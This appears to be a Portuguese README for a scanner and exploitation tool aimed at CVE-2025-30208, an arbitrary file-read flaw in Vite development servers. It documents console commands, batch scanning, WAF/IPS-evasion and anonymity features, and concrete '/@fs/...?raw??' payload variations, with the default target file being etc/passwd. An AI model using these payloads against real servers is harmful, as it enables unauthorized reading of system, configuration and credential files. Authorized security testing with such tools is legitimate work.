🔥 CVE-2025-30208 Scanner de Vulnerabilidade de Leitura Arbitrária de Arquivos no Vite

---

📖 Visão Geral

Este é um scanner de vulnerabilidade abrangente projetado para detectar e explorar a vulnerabilidade CVE-2025-30208 em servidores de desenvolvimento Vite. A vulnerabilidade permite acesso de leitura arbitrária de arquivos através dos endpoints do sistema de arquivos do Vite, potencialmente expondo arquivos de configuração sensíveis, código-fonte e informações do sistema.

🎯 O Que Esta Ferramenta Faz

• Detecta instâncias vulneráveis do Vite em redes
• Explora a vulnerabilidade de leitura arbitrária de arquivos de forma segura
• Descobre arquivos sensíveis e dados de configuração
• Reporta descobertas em múltiplos formatos (HTML, JSON, Console)
• Gerencia sessões de varredura e configurações
• Lida com erros de forma graciosa com mecanismos de repetição automática

🏗️ Arquitetura Modular

A ferramenta agora possui uma arquitetura modular para melhor manutenibilidade e extensibilidade:

• CVE-2025-30208.py - Aplicação principal do scanner
• payloads.py - Payloads de exploração avançados (mais de 60 variações)
• sensitive_files.py - Banco de dados abrangente de arquivos sensíveis (mais de 200 arquivos)
• html_template.py - Template aprimorado de relatórios HTML estilo hacker

---

🚀 Início Rápido

Pré-requisitos

pip3 install -r requirements.txt

Uso Básico

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

---

📋 Funcionalidades

🔍 Detecção de Vulnerabilidade Principal

• Mais de 60 Payloads Avançados: Técnicas abrangentes de exploração para máxima detecção
• Detecção Inteligente: Análise inteligente de respostas para evitar falsos positivos
• Validação em Tempo Real: Validação contínua das respostas do alvo
• Testes Abrangentes: Testa todos os endpoints vulneráveis conhecidos

🛡️ Recursos de Segurança Aprimorados

• Suporte a Proxy: Configuração de proxy HTTP/HTTPS para anonimato
• Cabeçalhos Personalizados: Bypass de WAF/IPS com cabeçalhos HTTP personalizados
• Limitação de Taxa: Atrasos configuráveis para evitar detecção
• Gerenciamento de Sessão: Salvar e restaurar sessões de varredura
• Validação de Entrada: Validação abrangente de parâmetros

🔧 Capacidades Avançadas

• Varredura em Lote: Varredura multi-thread de múltiplos alvos
• Descoberta de Arquivos Sensíveis: Descoberta automatizada de mais de 200 arquivos sensíveis
• Teste de Conectividade: Teste de protocolos TCP/UDP/HTTP/HTTPS
• Recuperação de Erros: Repetição automática com backoff exponencial
• Registro Abrangente: Logs detalhados com carimbos de data/hora

📊 Relatórios e Saída

• 🎨 Relatórios HTML Aprimorados: Relatórios de vulnerabilidade bonitos estilo hacker com animações
• Exportação JSON: Dados estruturados para análise posterior
• Saída no Console: Feedback em tempo real com código de cores
• Arquivos de Log: Trilhas de auditoria detalhadas
• Interface Web Interativa: Servidor web embutido para visualizar relatórios

---

🔧 Guia de Uso

1. Configuração Básica

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Teste de Vulnerabilidade

CVE-2025-30208 > run

# Ativar modo verbose para saída detalhada
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Varredura em Lote

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Pressione Enter duas vezes para finalizar]

4. Descoberta de Arquivos Sensíveis

CVE-2025-30208 > scan

5. Configuração Avançada

# Configurar proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Definir cabeçalhos personalizados
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configurar limitação de taxa
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. Relatórios HTML Aprimorados

# Gerar relatório HTML bonito
CVE-2025-30208 > pull

# Iniciar servidor web para visualizar o relatório
CVE-2025-30208 > web

# Iniciar servidor web em porta específica
CVE-2025-30208 > web 8081

# Parar servidor web
CVE-2025-30208 > web off

---

📊 Referência de Comandos

Comando	Descrição	Exemplo
set <opção> <valor>	Definir opções de configuração	set RHOST 192.168.1.100
show options	Exibir configurações atuais	show options
edit	Editor interativo de opções	edit
run / exploit	Executar teste de vulnerabilidade	run
batch	Varredura em lote de múltiplos alvos	batch
scan	Descobrir arquivos sensíveis	scan
pull	Exportar resultados para HTML/JSON	pull
web [on|off|port]	Servidor web para relatórios HTML	web 8080
save	Salvar configuração da sessão	save
load	Carregar configuração da sessão	load
test	Testar conectividade com o alvo	test
validate	Validar configuração atual	validate
verbose	Alternar modo verbose	verbose
proxy	Configurar configurações de proxy	proxy
headers	Definir cabeçalhos HTTP personalizados	headers
rate	Configurar limitação de taxa	rate
log	Mostrar informações de registro	log
help / ?	Mostrar ajuda	help
exit / quit	Sair da ferramenta	exit

---

⚙️ Opções de Configuração

Opção	Descrição	Padrão	Validação
RHOST	Host/IP alvo	-	Validação de hostname/IP
RPORT	Porta alvo	-	Faixa de portas (1-65535)
FILEPATH	Caminho do arquivo para teste	etc/passwd	Validação de caminho
PROXY	URL do proxy HTTP/HTTPS	-	Validação de formato de URL
VERBOSE	Ativar saída verbose	false	Validação booleana
RATE_LIMIT	Atraso entre requisições (segundos)	0.3	Validação numérica
THREADS	Número de threads para varredura em lote	5	Validação de inteiro
TIMEOUT	Tempo limite de requisição (segundos)	5	Validação de inteiro
CUSTOM_HEADERS	Cabeçalhos HTTP personalizados (JSON)	{}	Validação de formato JSON

---

🎨 Sistema de Payload Aprimorado

O scanner agora usa mais de 60 variações diferentes de payload organizadas em payloads.py:

Payloads @fs Principais

/@fs/{caminho_arquivo}?raw??
/@fs/{caminho_arquivo}?raw&url
/@fs/{caminho_arquivo}?import&raw??
/@fs/{caminho_arquivo}?raw&import
/@fs/{caminho_arquivo}?import&url

Variações de Parâmetros Estendidos

/@fs/{caminho_arquivo}?raw&source
/@fs/{caminho_arquivo}?raw&content
/@fs/{caminho_arquivo}?raw&data
/@fs/{caminho_arquivo}?raw&file
/@fs/{caminho_arquivo}?raw&type=text
/@fs/{caminho_arquivo}?raw&format=text
/@fs/{caminho_arquivo}?raw&encoding=utf8